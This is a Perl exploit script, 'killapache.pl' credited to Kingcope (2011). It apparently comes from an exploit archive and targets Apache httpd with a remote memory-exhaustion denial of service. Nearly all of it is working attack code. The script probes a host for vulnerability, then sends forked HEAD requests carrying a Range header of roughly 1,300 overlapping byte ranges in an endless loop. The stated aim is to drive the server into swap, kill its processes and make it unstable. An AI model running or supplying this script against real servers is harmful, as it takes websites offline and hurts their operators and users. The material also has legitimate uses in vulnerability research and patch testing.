Apache – Remote Memory Exhaustion (Denial of Service)
#Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); } |